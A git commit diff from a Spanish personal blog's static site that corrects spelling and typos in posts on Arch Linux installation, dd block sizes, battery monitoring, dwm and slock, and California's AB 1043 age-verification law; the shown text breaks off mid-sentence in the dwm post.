httpd

Sitio web estático para protocolo HTTP (HTML + CSS) que sostiene el blog de fjbalon
Log | Files | Refs

commit 7746023889ec56627e3df6c9638a8f5e496c3fa6
parent 3fa108e05ee24da01c82d7553fe766780abce245
Author: fjbalon <fbalon@templier.es>
Date:   Sun, 25 Oct 2026 00:50:40 +0200

Revisión y orrección ortográfica y de erratas

Diffstat:
Mab-1043-linux/index.html | 6+++---
Marchlinux/index.html | 16++++++++--------
Mbateria/index.html | 4++--
Mdd/index.html | 6+++---
Mdwm-howto/index.html | 8++++----
Mdwm-slock/index.html | 8++++----
Mdwm/index.html | 10+++++-----
Mext4-wsl2/index.html | 6+++---
Mgit-server/index.html | 4++--
Mgit-stagit/index.html | 4++--
Mhttp-darkmode/index.html | 16++++++++--------
Mindex.html | 4++--
Minterpolacion-lineal/index.html | 8++++----
Mjdbc-sql-injection/index.html | 8++++----
Mlinus-torvalds-hijas/index.html | 8++++----
Mmachine-id/index.html | 2+-
Mpropagacion-malware-script/index.html | 12++++++------
Mslackware-slackbuild/index.html | 8++++----
Mslackware/index.html | 10+++++-----
Mssh-tunneling/index.html | 6+++---
Mssh/index.html | 16++++++++--------
Mswap/index.html | 4++--
Mtanque-gasoil/index.html | 10+++++-----
Mtor/index.html | 16++++++++--------
Munix-passwd/index.html | 6+++---
Munix-permisos/index.html | 6+++---
Murxvtd/index.html | 6+++---
Mwatchdog/index.html | 4++--
Mxz-liblzma/index.html | 4++--
29 files changed, 113 insertions(+), 113 deletions(-)

diff --git a/ab-1043-linux/index.html b/ab-1043-linux/index.html @@ -229,10 +229,10 @@ if ((now.tm_year + 1900) - year > 150) <pre><code>/* No time travelers either */ if (year > (now.tm_year + 1900)) return -EINVAL;</code></pre> -<p>Si has llegado hasta aquí ya habrás notado que ayer fue 1 de abril, fecha en el que muchos países anglosajones celebran un día de inocentadas y bromas. Hasta el mismo Linus Torvalds ha <a href="https://lkml.org/lkml/2026/4/1/1730">respondido</a> al mail:</p> +<p>Si has llegado hasta aquí ya habrás notado que ayer fue 1 de abril, fecha en la que muchos países anglosajones celebran un día de inocentadas y bromas. Hasta el mismo Linus Torvalds ha <a href="https://lkml.org/lkml/2026/4/1/1730">respondido</a> al mail:</p> <img src="7bbf8de17e7fb8a62cf10dfc13bbfb95781d2491.png" /> -<p>Para quien no tenga ningun contexto, esto obedece a la <i>ley AB 1043 (Digital Age Assurance Act)</i> de California, que pretende obligar a los sistemas operativos a verificar la edad de los usuarios con multas absurdas por incumplimiento.</p> -<p>Tanto puede poner en apuros a algunas pequeñas y grandes distribuciones, que algunas como MidnightBSD ha tomado la bizarra decisión de bloquear geográficamente las descargas de su distribución a usuarios de California mientras buscan una “alternativa”, como la creción de un comandos <emb>aged</emb> y <emb>agectl</emb> que llame a una variable edad.</p> +<p>Para quien no tenga ningún contexto, esto obedece a la <i>ley AB 1043 (Digital Age Assurance Act)</i> de California, que pretende obligar a los sistemas operativos a verificar la edad de los usuarios con multas absurdas por incumplimiento.</p> +<p>Tanto puede poner en apuros a algunas pequeñas y grandes distribuciones, que algunas como MidnightBSD ha tomado la bizarra decisión de bloquear geográficamente las descargas de su distribución a usuarios de California mientras buscan una “alternativa”, como la creación de unos comandos <emb>aged</emb> y <emb>agectl</emb> que llame a una variable edad.</p> <p>Como era de esperar, esto evidentemente no es propio de California y Silicon Valley, es un proyecto de todas las élites de Occidente, desde Estados Unidos, Gran Bretaña y la Unión Europea. Con la excusa lamentable de proteger a los niños en la red... Sí, las élites diciendo defender a los niños...</p> <p>Evidentemente la propia estructura y esencia, tanto a nivel de sistema operativo como a nivel de distribución y descentralización hace que los entornos GNU/Linux y Unix Like sean una fortaleza, en cierta medida, de este tipo de políticas; al menos en cuanto al Cosmos: pequeñas distros sí podrían verse gravemente afectadas por el asedio legal positivista.</p> <p>Esto es algo que, evidentemente, me tranquiliza. ¿Cómo evitarían que en mi copia de una distribución de GNU/Linux quite, antes o después de compilarla, los elementos de control de edad? Además, el propio enfoque de la ley es absolutamente desconocedor del mundo industrial informático, reduciéndolo a usuarios domésticos y ordinarios. ¿Qué pasa con los servidores? ¿qué edad debería tener un servidor dedicado? ¿la del administrador? ¿la del jefe de la empresa? ¿y los sistemas embebidos autónomos? No tiene ningún sentido.</p> diff --git a/archlinux/index.html b/archlinux/index.html @@ -13,9 +13,9 @@ <p class="date">22 de marzo de 2016 • fjbalon</p> </header> <p>Adentrándonos en el vasto universo de Unix y GNU/Linux, en especial en su distributismo característico; Arch Linux se presenta como una distro recomendada a usuarios avanzados y con cierto conocimiento técnico dentro del cosmos de Linux. Arch presenta un enfoque minimalista y <i>KISS</i> (<i>Keep It Simple, Stupid</i>) y, en cierto modo, <i>Do It Yourself</i>.</p> -<p>Esta distribución tiene sus raíces en 2002, cuando Judd Vinet la construyó en un enfoque de entorno simple y elegante, permitiendo a sus usarios modelar su sistema de acuerdo a sus necesidades y preferencias. Se trata además de un sistema de actualización <i>rolling release</i>, lo que aporta un mantenimiento continuo sin necesidad de reinstalaciones periódicas; característica que, unida a su gestor de paquetes <emb>pacman</emb> ofrece una experiencia de usuario ágil y, sobretodo, rápida de gestión de las últimas versiones del software.</p> -<p>Realmente, el uso de Arch es muy simple, siendo incluso más simple que distribuciones basadas en Debian (sobretodo, por su gestor de paquetes, que lo hace excesivamente sencillo de utilizar incluso para un novato). Sin embargo, si hay una barrera de entrada para comenzar a usar este sistema operativo no es otra que cosa que la instalación. La instalación del sistema no cuenta con formularios gráficos ni diálogos que guien al usuario; sino simplemente ofrece una sesión de shell y otorga libertad total sobre ella al usuario.</p> -<p>Es por esta razón que he compendiado los pasos que realizó personalmente a la hora de construir mi sistema de Arch.</p> +<p>Esta distribución tiene sus raíces en 2002, cuando Judd Vinet la construyó en un enfoque de entorno simple y elegante, permitiendo a sus usuarios modelar su sistema de acuerdo a sus necesidades y preferencias. Se trata además de un sistema de actualización <i>rolling release</i>, lo que aporta un mantenimiento continuo sin necesidad de reinstalaciones periódicas; característica que, unida a su gestor de paquetes <emb>pacman</emb> ofrece una experiencia de usuario ágil y, sobre todo, rápida de gestión de las últimas versiones del software.</p> +<p>Realmente, el uso de Arch es muy simple, siendo incluso más simple que distribuciones basadas en Debian (sobre todo, por su gestor de paquetes, que lo hace excesivamente sencillo de utilizar incluso para un novato). Sin embargo, si hay una barrera de entrada para comenzar a usar este sistema operativo no es otra que la instalación. La instalación del sistema no cuenta con formularios gráficos ni diálogos que guíen al usuario; sino simplemente ofrece una sesión de shell y otorga libertad total sobre ella al usuario.</p> +<p>Es por esta razón que he compendiado los pasos que realizo personalmente a la hora de construir mi sistema de Arch.</p> <p>El inicio es sencillo, el console keymap por defecto es US (inglés americano). Para modificar el diseño, se puede agregar el nombre de layout correspondiente. Por ejemplo, para establecer una distribución de teclado en español utilizo:</p> <pre><code>loadkeys es</code></pre> <h2>Verificación de modo de arranque (boot mode)</h2> @@ -24,7 +24,7 @@ <p>Por otro lado, UEFI, que significa Interfaz de Firmware Extensible Unificada, es una tecnología más reciente que reemplaza gradualmente a la BIOS. UEFI proporciona una interfaz más avanzada y versátil, permitiendo un arranque más rápido y una mayor capacidad para gestionar hardware y sistemas operativos modernos. Además, UEFI supera las limitaciones de tamaño de disco asociadas con la BIOS. <p>Para verificar el modo de arranque, bastaría listar el directorio <emb>efivars</emb>:</p> <pre><code>ls /sys/firmware/efi/efivars</code></pre> -<p>Si la salida muestra el contenido del directorio (stdout) sin error, entonces el sistema de inicio es UEFI. Si por el contrario ofrece error (stderr) debido a que el directorio no existe, entonces el sistema se inicia en modo BIOS (ó CSM).</p> <h2>Conexión a Internet</h2> +<p>Si la salida muestra el contenido del directorio (stdout) sin error, entonces el sistema de inicio es UEFI. Si por el contrario ofrece error (stderr) debido a que el directorio no existe, entonces el sistema se inicia en modo BIOS (o CSM).</p> <h2>Conexión a Internet</h2> <p>Si tenemos comunicación ethernet con salida a Internet, bastaría conectarlo; generalmente el DHCP trabajará solo. De lo contrario será necesario establecer conexión con la red a través de WiFi (siempre que el equipo cuente con el hardware necesario). Utilizaremos <emb>iwctl</emb> para autenticarnos a la red inalámbrica, identificaremos la interfaz de red, escanearemos las conexiones WiFi disponibles y conectaremos con la que identifiquemos por su SSID:</p> <pre><code>iwctl [iwd]# device list @@ -32,7 +32,7 @@ [iwd]# station d get-networks [iwd]# station d connect SSID</code></pre> <h2>Particionado de discos</h2> -<p>Cuando son reconocidos por el sistema live, los discos son asignados a un dispositivo de bloques como <emb>/dev/sda</emb>, <emb>/dev/nvme0n1</emb> ó <emb>/dev/mmcblk0</emb>. Para identificar estos dispositivos, utilice <emb>lsblk</emb> ó <emb>fdisk</emb>. El siguiente presupondrá la siguiente partición de discos:</p> +<p>Cuando son reconocidos por el sistema live, los discos son asignados a un dispositivo de bloques como <emb>/dev/sda</emb>, <emb>/dev/nvme0n1</emb> o <emb>/dev/mmcblk0</emb>. Para identificar estos dispositivos, utilice <emb>lsblk</emb> o <emb>fdisk</emb>. El siguiente presupondrá la siguiente partición de discos:</p> <pre><code>boot /dev/sda1 /boot 150MB *Bootable root /dev/sda2 / - home /dev/sda3 /home - @@ -57,10 +57,10 @@ mkdir /mnt/home && mount $home /mnt/home</code></pre> <pre><code>pacstrap /mnt base-devel grub networkmanager nano dhcpcd pacstrap /mnt efibootmgr # UEFI</code></pre> <h2>Configuración del sistema base</h2> -<p>Generamos el archivo <emb>/etc/fstab</emb>, que contiene los parámetros de configuración de montaje de los distintos sistemas de archivos para el sistema. Puede usar <emb>-U</emb> ó <emb>-L</emb> para definir por UUID o labels, respectivamente). Después, nos enjaularemos en la partición montada en <emb>/mnt</emb> con <emb>chroot</emb>:</p> +<p>Generamos el archivo <emb>/etc/fstab</emb>, que contiene los parámetros de configuración de montaje de los distintos sistemas de archivos para el sistema. Puede usar <emb>-U</emb> o <emb>-L</emb> para definir por UUID o labels, respectivamente). Después, nos enjaularemos en la partición montada en <emb>/mnt</emb> con <emb>chroot</emb>:</p> <pre><code>genfstab -U -p /mnt >> /mnt/etc/fstab arch-chroot /mnt</code></pre> -<p>Una vez enjaulados, podemos proceder a realizar parametrizaciones y configuraciones propias del sistema operativo en instalación, como son la zona horario, la localización y el mapa de teclas (keymap):</p> +<p>Una vez enjaulados, podemos proceder a realizar parametrizaciones y configuraciones propias del sistema operativo en instalación, como son la zona horaria, la localización y el mapa de teclas (keymap):</p> <pre><code>ln -s /usr/share/zoneinfo/Europe/Madrid /etc/localtime echo "LANG=es_ES.UTF-8" >> /etc/locale.conf echo "es_ES.UTF-8 UTF-8" >> /etc/locale.gen @@ -87,7 +87,7 @@ yay -Syu</code></pre> <pre><code>grub-install --efi-directory=/boot/efi --bootloader-id='Arch Linux' --target=x86_64-efi # UEFI grub-install /dev/sda # BIOS grub-mkconfig -o /boot/grub/grub.cfg</code></pre> -<h2>Initframs</h2> +<h2>Initramfs</h2> <p>Por lo general, no es necesario crear un nuevo initramfs, ya que <emb>mkinitcpio</emb> se ejecutó en la instalación del paquete del kernel con pacstrap. Tenga en cuenta que para LVM, cifrado del sistema o RAID será necesario modificar <emb>mkinitcpio.conf</emb> y volver a crear la imagen initramfs.</p> <pre><code>mkinitcpio -p linux</code></pre> </body> diff --git a/bateria/index.html b/bateria/index.html @@ -131,11 +131,11 @@ UserParameter=VoltageNow,cat /sys/class/power_supply/BAT0/voltage_now UserParameter=CurrentNow,cat /sys/class/power_supply/BAT0/current_now UserParameter=Capacity,cat /sys/class/power_supply/BAT0/capacity UserParameter=Status,if [ "$(cat /sys/class/power_supply/BAT0/status)" = "Charging" ]; then echo 1; else echo 0; fi</code></pre> -<p>De tal forma, monitorizamos los valores de la batería, como el amperaje degradado y la corriente la corriente a través del tiempo:</p> +<p>De tal forma, monitorizamos los valores de la batería, como el amperaje degradado y la corriente a través del tiempo:</p> <img class="color-invertible" style="width: 100%;" src="resources/graph-charge.png" /> <p>Por otro lado, comprobamos la capacidad porcentual (y bruta). Esto nos muestra valores interesantes, como que la batería tarda en desgastarse prácticamente lo mismo que al rellenarse, sin embargo, al llegar al umbral de 8% de capacidad, ésta se vacía a una velocidad mucho más lenta hasta el 0%, lo que constituye un primer indicador del funcionamiento extraño de la batería:</p> <img class="color-invertible" style="width: 100%;" src="resources/graph-perc.png" /> -<p>Otro de los indicadores más extraños proviene al apagar el equipo durante unas horas. Éste al encenderse de nuevo, marca una batería que no se corresponde con el valor de apagado. En el ejemplo registrado, se observa como la batería se encontraba aproximadamente marcando un 10% de capacidad, pero tras 1,45h sin interacción de ningún tipo (lógicamente no estuvo conectado a la red eléctrica en este tiempo) vuelve a marcar un valor entre el 60-70% de capacidad:</p> +<p>Otro de los indicadores más extraños proviene al apagar el equipo durante unas horas. Éste al encenderse de nuevo, marca una batería que no se corresponde con el valor de apagado. En el ejemplo registrado, se observa cómo la batería se encontraba aproximadamente marcando un 10% de capacidad, pero tras 1,45h sin interacción de ningún tipo (lógicamente no estuvo conectado a la red eléctrica en este tiempo) vuelve a marcar un valor entre el 60-70% de capacidad:</p> <img class="color-invertible" style="width: 100%;" src="resources/graph-poweroff.png" /> <p>Como sabemos, el valor mínimo establecido por diseño que indica la batería es de 11.4V. Sin embargo y tal como se ve, sólo excede el mínimo cuando está conectado a AC:</p> <img class="color-invertible" style="width: 100%;" src="resources/graph-voltage.png" /> diff --git a/dd/index.html b/dd/index.html @@ -21,10 +21,10 @@ <pre><code>gunzip -c /image.img.gz | dd bs=512K of=/dev/sdy status=progress</code></pre> <p>Si lo único que deseamos es clonar de un disco a otro, podemos evitar el intermediario y hacerlo directamente jugando con if y of, dados los discos <emb>/dev/sdx</emb> y <emb>/dev/sdy</emb>:</p> <pre><code>dd bs=512K if=/dev/sdx of=/dev/sdy status=progress</code></pre> -<p>Quizá sea porque hay que ser extremadamente cauteloso utilizando dd, ya que es sencillo destruir datos de forma irreversible en caso de negligencia; lo que hace que muchas veces nos enfoquemos únicamente en acertar con el parámetro of (archivo de salida - output file), o quizá sea pereza mental, pero un aspecto que se pasa normalmente por alto es el relativo a los tres argumentos de tamaño de bloque: ibs (tamaño de bloque de entrada), obd (tamaño de bloque de salida) y bs (tamaño de bloque de entrada y salida, abarcándolo todo).</p> +<p>Quizá sea porque hay que ser extremadamente cauteloso utilizando dd, ya que es sencillo destruir datos de forma irreversible en caso de negligencia; lo que hace que muchas veces nos enfoquemos únicamente en acertar con el parámetro of (archivo de salida - output file), o quizá sea pereza mental, pero un aspecto que se pasa normalmente por alto es el relativo a los tres argumentos de tamaño de bloque: ibs (tamaño de bloque de entrada), obs (tamaño de bloque de salida) y bs (tamaño de bloque de entrada y salida, abarcándolo todo).</p> <p>Partamos de la base de que un bloque es una unidad que mide el número de bytes que se leen, escriben o convierten a la vez. De forma general y predeterminada, dd utiliza un tamaño de bloque de 512 bytes, tanto para la entrada como para la salida. Esto quizás ha sido correcto entre 1980 y 1999, cuando la mayoría de discos tenían un tamaño de sector de 512 bytes, sin embargo en los últimos años la mayoría de los discos tienen un tamaño de sector de al menos 4096 bytes (4K). Aunque el cambio puede parecer intrascendente, puede conducir a ineficiencia e inestabilidad, más teniendo en cuenta que los discos actuales pueden tener más de 1TB de capacidad, lo que requiere un tamaño de bloque más óptimo.</p> <p>Por convención, hoy en día se recomienda utilizar un tamaño de bloque de 64K (en ocasiones se indica como 128K), asegurándose como más óptimos. Sin embargo, al no existir contexto ni explicación, lo considero un argumento viciado y arbitrario, teniendo en cuenta que no existe un tamaño de bloque universalmente correcto: lo que es óptimo para una situación puede ser terriblemente ineficiente para otra.</p> -<p>Si tomamos como ejemplo de lectura el fichero <emb>/dev/zero</emb> y lo escribimos en un disco de 1TB SSD, producimos un rendimiento de 39,6 MB/s tomando el tamaño de bloque predeterminado de 512 bytes. Esto daría una duración de 26.479 segundos, unas 26 horas. Para el mismo caso pero en un disco de 1TB HDD, el rendimiento descendería a 10,9 MB/s, es decir, 96.200 segundos o unas 26 horas. Si tomamos el tamaño de bloque recomendado de 64K obtenemos un rendimiento de 266 MB/s (3.942s, ~1,1h) para SSD y 108 MB MB/s (9.709s, ~2,7h) para HDD. Si lo que buscamos es velocidad óptima, evidentemente cuanto mayor sea el tamaño de bloque, menos llevará a dd realizar la copia.</p> +<p>Si tomamos como ejemplo de lectura el fichero <emb>/dev/zero</emb> y lo escribimos en un disco de 1TB SSD, producimos un rendimiento de 39,6 MB/s tomando el tamaño de bloque predeterminado de 512 bytes. Esto daría una duración de 26.479 segundos, unas 26 horas. Para el mismo caso pero en un disco de 1TB HDD, el rendimiento descendería a 10,9 MB/s, es decir, 96.200 segundos o unas 26 horas. Si tomamos el tamaño de bloque recomendado de 64K obtenemos un rendimiento de 266 MB/s (3.942s, ~1,1h) para SSD y 108 MB/s (9.709s, ~2,7h) para HDD. Si lo que buscamos es velocidad óptima, evidentemente cuanto mayor sea el tamaño de bloque, menos llevará a dd realizar la copia.</p> <p>Para ilustrarnos técnicamente, dado el script:</p> <pre><code>#!/bin/bash @@ -75,7 +75,7 @@ do variable=$(echo $base / 1024 | bc ) done echo $base$(echo $unidades | cut -f$i -d, )</code></pre> -<p>Cuyo resultado se basa en la escritura de datos provenientes de <emb>/dev/zero</emb> ó <emb>/dev/urandom</emb> en un disco pasado como argumento, de tal forma que analiza el rendimiento dado por el obs:</p> +<p>Cuyo resultado se basa en la escritura de datos provenientes de <emb>/dev/zero</emb> o <emb>/dev/urandom</emb> en un disco pasado como argumento, de tal forma que analiza el rendimiento dado por el obs:</p> <pre><code>sudo ./dd-obs.sh /dev/sdd 512 (512b) : 7 MB/s 1024 (1K) : 9 MB/s diff --git a/dwm-howto/index.html b/dwm-howto/index.html @@ -28,7 +28,7 @@ <li><a href="https://dwm.suckless.org/patches/pertag">pertag</a>: Mantiene layout, mwfact, barpos y nmaster por etiqueta (tag).</li> </ul> </ul> -<p>Basado en el artículo <a href="https://ratfactor.com/dwm">Dave's Visual Guide to dwm</a> y usando, con su permiso, algunas imágenes de su autoría; voy a exponer cómo uso, o conduzco, <emb>dwm</emb> obteniendo toda su potencia gráfica. A priori, puede parecer un uso complejo y complicado, y de hecho así lo es en un inicio. Sin embargo, como aquel que controla maquinaria pesada o programas complejos, con el uso rutinario que se convierte en hábito, se convierte en un poderoso arma de productividad y enfoque táctico.</p> +<p>Basado en el artículo <a href="https://ratfactor.com/dwm">Dave's Visual Guide to dwm</a> y usando, con su permiso, algunas imágenes de su autoría; voy a exponer cómo uso, o conduzco, <emb>dwm</emb> obteniendo toda su potencia gráfica. A priori, puede parecer un uso complejo y complicado, y de hecho así lo es en un inicio. Sin embargo, como aquel que controla maquinaria pesada o programas complejos, con el uso rutinario que se convierte en hábito, se convierte en una poderosa arma de productividad y enfoque táctico.</p> <p>Lo primero que hay que definir es la tecla principal, que en mi caso es <kbd>Mod4</kbd>. Cabe destacar que por defecto es <kbd>Alt</kbd>.</p> <h2>Layouts</h2> <p>Un layout, en el contexto de diseño gráfico y de interfaces de usuario, es la disposición visual y organizativa de los elementos en una pantalla. <emb>dwm</emb> cuenta con 3 layouts:</p> @@ -44,7 +44,7 @@ <img style="width: 20%;" src="resources/floating_layout.png"/> </li> <li> -<p><kbd>Mod4</kbd>+<kbd>m</kbd> Monocle (monóculo): una sóla ventana completa enfocada se empuja hacia el frente, el resto, esperan detrás a ser enfocadas.</p> +<p><kbd>Mod4</kbd>+<kbd>m</kbd> Monocle (monóculo): una sola ventana completa enfocada se empuja hacia el frente, el resto, esperan detrás a ser enfocadas.</p> <img style="width: 45%;" src="resources/monocle_layout.png"/> </li> </ol> @@ -58,7 +58,7 @@ <p>Para cerrar una ventana, puede cerrarla desde la aplicación o indicar que cierre la ventana con <kbd>Mod4</kbd>+<kbd>Shift</kbd>+<kbd>c</kbd> sobre la ventana enfocada. No podemos empezar a usar un programa si no sabemos terminarlo o salir de él. En el caso de <emb>dwm</emb>, saldremos de él mediante <kbd>Mod4</kbd>+<kbd>Shift</kbd>+<kbd>q</kbd>.</p> <img style="width: 45%;" src="resources/close_window.png"/> <h2>Administración del foco</h2> -<p>Para mover el foco entre ventanas, utilizo <kbd>Mod4</kbd>+<kbd>j</kbd> para moverlo hacia la siguiente. Esto sirve para todos los layouts. En modo mosaico, vamos en dirección de la agujas del reloj.</p> +<p>Para mover el foco entre ventanas, utilizo <kbd>Mod4</kbd>+<kbd>j</kbd> para moverlo hacia la siguiente. Esto sirve para todos los layouts. En modo mosaico, vamos en dirección de las agujas del reloj.</p> <img style="width: 45%;" src="resources/focus_next_tiled.png"/><img style="width: 45%;" src="resources/focus_next_floating.png"/> <p>Para mover el foco a la ventana anterior utilizo <kbd>Mod4</kbd>+<kbd>k</kbd>.</p> <img style="width: 45%;" src="resources/focus_prev_tiled.png"/><img style="width: 45%;" src="resources/focus_prev_floating.png"/> @@ -74,7 +74,7 @@ <p>Para aplicar zoom, o en palabras más técnicas, alternar la ventana entre las áreas master y stack, utilizo <kbd>Mod4</kbd>+<kbd>Shift</kbd>+<kbd>Return</kbd>. Si la ventana enfocada está en stack se moverá a master y viceversa.</p> <img style="width: 45%;" src="resources/zoom.png"/> <h2>Administración de etiquetas (tags)</h2> -<p>Si esta familiarizado con el concepto de escritorios múltiples o escritorios virtuales lo entenderá rápidamente. Las etiquetas o tags brindan la misma funcionalidad, pero con más flexibilidad y velocidad. Cada etiqueta es un escritorio, que administra un conjunto específico de ventanas que tiene abiertas.</p> +<p>Si está familiarizado con el concepto de escritorios múltiples o escritorios virtuales lo entenderá rápidamente. Las etiquetas o tags brindan la misma funcionalidad, pero con más flexibilidad y velocidad. Cada etiqueta es un escritorio, que administra un conjunto específico de ventanas que tiene abiertas.</p> <p>Si hay alguna diferencia con los escritorios virtuales clásicos, es que una ventana puede pertenecer a más de una tag, e incluso puede ver todas las etiquetas a la vez, combinarlas, etc.</p> <p>Para movernos entre tags, basta con <kbd>Mod4</kbd>+<kbd>1...n</kbd>, donde <emb>n</emb> es el número de tag que queremos visualizar. <kbd>Mod4</kbd>+<kbd>Tab</kbd> conmuta entre las 2 tags más recientes.</p> <img style="width: 45%;" src="resources/view_tagged_windows.png"/> diff --git a/dwm-slock/index.html b/dwm-slock/index.html @@ -15,9 +15,9 @@ <p>Un software que me gusta bastante de la caja de herramientas de suckless es slock, un bloqueador de pantalla minimalista; tan minimalista que yo creo que es el bloqueador de pantalla x más sencillo que existe. Una vez ejecutado, bloquea la sesión y solo se desbloquea al introducir la contraseña del usuario. No es un programa innovador ni de nicho: el concepto de bloqueador de pantalla existe prácticamente desde los inicios de X11.</p> <p>Puede encontrar mi propia versión del código en mi servidor de git: <a href="https://templier.es/git/slock/">/git/slock/</a>.</p> <p>En términos generales, slock crea una ventana fullscreen que cubre todos los monitores, toma el teclado y el ratón (<emb>XGrabKeyboard</emb> + <emb>XGrabPointer</emb>) y entra en bucle donde lee la entrada del teclado. Compara la contraseña introducida (usando <emb>crypt()</emb> o <emb>PAM/shadow</emb>) contra la del usuario. Si coincide, suelta el grab y cierra la ventana.</p> -<p>Por su funcionamiento, radicalmente mínimo y unido al sistema operativo, podemos verlo como un sistema muy seguro. Eso sí, cuenta con las limitaciones propias de todos los bloqueadores de pantalla de X11, como que el usuario puede cambiar a otra tty, otro usuario o sesión podría matar X y cosas así. No son errores, ni si quiera problemas de seguridad, pues la sesión se mantendría protegida aun matándola o cambiando de tty; pero son limitaciones que el usuario debe conocer, desde luego.</p> +<p>Por su funcionamiento, radicalmente mínimo y unido al sistema operativo, podemos verlo como un sistema muy seguro. Eso sí, cuenta con las limitaciones propias de todos los bloqueadores de pantalla de X11, como que el usuario puede cambiar a otra tty, otro usuario o sesión podría matar X y cosas así. No son errores, ni siquiera problemas de seguridad, pues la sesión se mantendría protegida aun matándola o cambiando de tty; pero son limitaciones que el usuario debe conocer, desde luego.</p> <p>La estética inicial es tan sobria como un par de colores que indican si el usuario ha empezado a escribir la contraseña (azul), si ha fallado al introducirla (rojo) o si ha accedido (no hay color, entra en la sesión con normalidad). Si bien esta forma visual es extremadamente vaga, para mi gusto.</p> -<p>Por lo tanto, lo que más estético me ha parecido es aplicar el llamado parche <i>Blured or pixelated screenshot</i>:</p> +<p>Por lo tanto, lo que más estético me ha parecido es aplicar el llamado parche <i>Blurred or pixelated screenshot</i>:</p> <pre><code class="diff"><span class="info">diff --git a/config.mk b/config.mk</span> <span class="info">index 74429ae..987819e 100644</span> @@ -295,7 +295,7 @@ <span class="add">+#endif</span> /* check for Xrandr support */ rr.active = XRRQueryExtension(dpy, &amp;rr.evbase, &amp;rr.errbase);</code></pre> -<p>De tal forma que, una vez aplicados los cambios de software, al ser ejecutado captura la pantalla completa usando <emb>imlib2</emb> (<emb>imlib_copy_drawable_to_image</emb> desde <emb>RootWindow</emb>), aplica desenfoque directamente sobre es imagen en memoria con <emb>imlib_image_blur(blurRadius)</emb> y la convierte en un Pixmap, que pone como fondo de ventana de bloqueo con <emb>XSetWindowBackgroundPixmap</emb>.</p> +<p>De tal forma que, una vez aplicados los cambios de software, al ser ejecutado captura la pantalla completa usando <emb>imlib2</emb> (<emb>imlib_copy_drawable_to_image</emb> desde <emb>RootWindow</emb>), aplica desenfoque directamente sobre esa imagen en memoria con <emb>imlib_image_blur(blurRadius)</emb> y la convierte en un Pixmap, que pone como fondo de ventana de bloqueo con <emb>XSetWindowBackgroundPixmap</emb>.</p> <p>Quedando un fondo como el siguiente ejemplo:</p> <img src="slock-blur.gif" /> <p>Una vez instalado el programa y siendo posible invocarlo desde cualquier terminal o dmenu, el siguiente es, para mí, crearle un acceso directo de teclas para, desde el gestor de ventanas que utilizo (dwm) poder invocarlo más rápidamente cuando quiera bloquear la pantalla manualmente. Esto lo he hecho sencillamente modificando el <emb>config.h</emb>, y añadiendo:</p> @@ -315,7 +315,7 @@ { MODKEY, XK_j, focusstack, {.i = +1 } }, { MODKEY, XK_k, focusstack, {.i = -1 } },</code></pre> <p>De tal forma que, con la pulsación de teclas <kbd>Mod4</kbd>+<kbd>Shift</kbd>+<kbd>l</kbd> se ejecuta slock y se bloquea la pantalla.</p> -<p>Cuando cierro la tapa del portátil, el equipo se suspende. Esto provoca el equipo apague casi todos los componentes físicos, pero mantenga una leve alimentación a la memoria RAM, la cual contiene todo el contenido tal cual estaba. De tal forma, al despertar (o abrir la tapa) el equipo alimenta todos los componentes de nuevo, e inicia rápidamente, casi instantáneamente, pues la información ya estaba en RAM. Por lo que cuando voy a desplazarme, cierro y abro la tapa manteniendo la sesión íntegra.</p> +<p>Cuando cierro la tapa del portátil, el equipo se suspende. Esto provoca que el equipo apague casi todos los componentes físicos, pero mantenga una leve alimentación a la memoria RAM, la cual contiene todo el contenido tal cual estaba. De tal forma, al despertar (o abrir la tapa) el equipo alimenta todos los componentes de nuevo, e inicia rápidamente, casi instantáneamente, pues la información ya estaba en RAM. Por lo que cuando voy a desplazarme, cierro y abro la tapa manteniendo la sesión íntegra.</p> <p>Sin embargo, si no he ejecutado slock antes, al abrir la sesión no estará protegida. Esto es un riesgo de seguridad, pues un tercero podría hacerse con la máquina suspendida, despertarla y tener acceso a toda la sesión sin protección de ningún tipo. Por lo tanto, es interesante añadir una ejecución de slock automática al suspender el equipo.</p> <p>Eso sí, a menudo tengo el equipo conectado por HDMI a algún monitor o TV, siendo que me interesa cerrar la tapa directamente y mantener el equipo en funcionamiento en otro monitor, por lo que hacerlo automático al cerrar la tapa no sería útil; sino, en concreto, suspender el equipo. La forma, pues, más limpia y fiable será usar, con <emb>elogind</emb>, los hooks de <emb>system-sleep</emb>. Estos son los scripts que se ejecutan automáticamente antes y después de cualquier suspensión o hibernación, independientemente si se activa por cerrar la tapa o por cualquier otro motivo programado. <emb>elogind</emb> es un módulo de systemd que gestiona el login de usuarios, sesiones gráficas y el manejo de energía, pero separada y sin depender de todo systemd, claro (si no, no sería software nativo en Slackware 15).</p> <p>Lo que he hecho es crear un script en <emb>/lib64/elogind/system-sleep</emb> como el siguiente:</p> diff --git a/dwm/index.html b/dwm/index.html @@ -14,12 +14,12 @@ </header> <p>Es cierto que Unix y Linux tienen algo esotérico, algo como de carácter iniciático. Hay una verdadera barrera entre el usuario y el verdadero emperador de su sistema, o el root. Estos sistemas son, en esencia, un arte arcaico, casi perdido. Un sistema operativo que, a menudo, parece que no se revela a quien no se ofrece antes como sacrificio. Pero cuando lo consigues, puedes verdaderamente susurrar a la máquina. Ser el <i>ghost in the shell</i>.</p> <p>Yo me inicié allá por 2011. Y como tal, aprendí y pivoté de una distribución a otra, <em>distrohopping </em>lo llaman ahora. Debe ser una regla no escrita en los iniciados. Inicié con Ubuntu 10.10 y en seguida profundicé en Debian; vacilé con algunas distribuciones hijas, pero me quedé en el buen Debian hasta por allá de 2013. Entonces, instalé Archlinux y me convertí en fiel adepto de su grimorio y su estructura, de Pacman y de su procedimiento de instalación. He sido hijo de Archlinux muchos años, hasta que en 2019 abracé Slackware, la más antigua y la más Unix de las distribuciones de Linux.</p> -<p>Pero este texto no versa sobre distribuciones, sino por el uso que el usuario general de sistemas operativos basados en Unix hace gráficamente. La interfaz de texto -considero- es la forma humano-máquina perfecta: la más precisa, la más metódica y sobretodo, más natural. A pesar de que para la mayoría los vean como hechizos que se hacen en la shell, o como una puerta a un conocimiento cuasi gnóstico; realmente es algo verdaderament sencillo, minimalista y modular de usar. Es cierto que requiere un poco de esfuerzo, y un cambio de esquemas. Unix siempre ha rechazado la opulencia y la complejidad. Rechaza, de algún modo, la propia vanidad. La interfaz de texto invita a una comprensión mucho más profunda, quien entiende la shell entiende cómo funciona el sistema operativo y entiende cómo funciona Linux.</p> +<p>Pero este texto no versa sobre distribuciones, sino por el uso que el usuario general de sistemas operativos basados en Unix hace gráficamente. La interfaz de texto -considero- es la forma humano-máquina perfecta: la más precisa, la más metódica y sobre 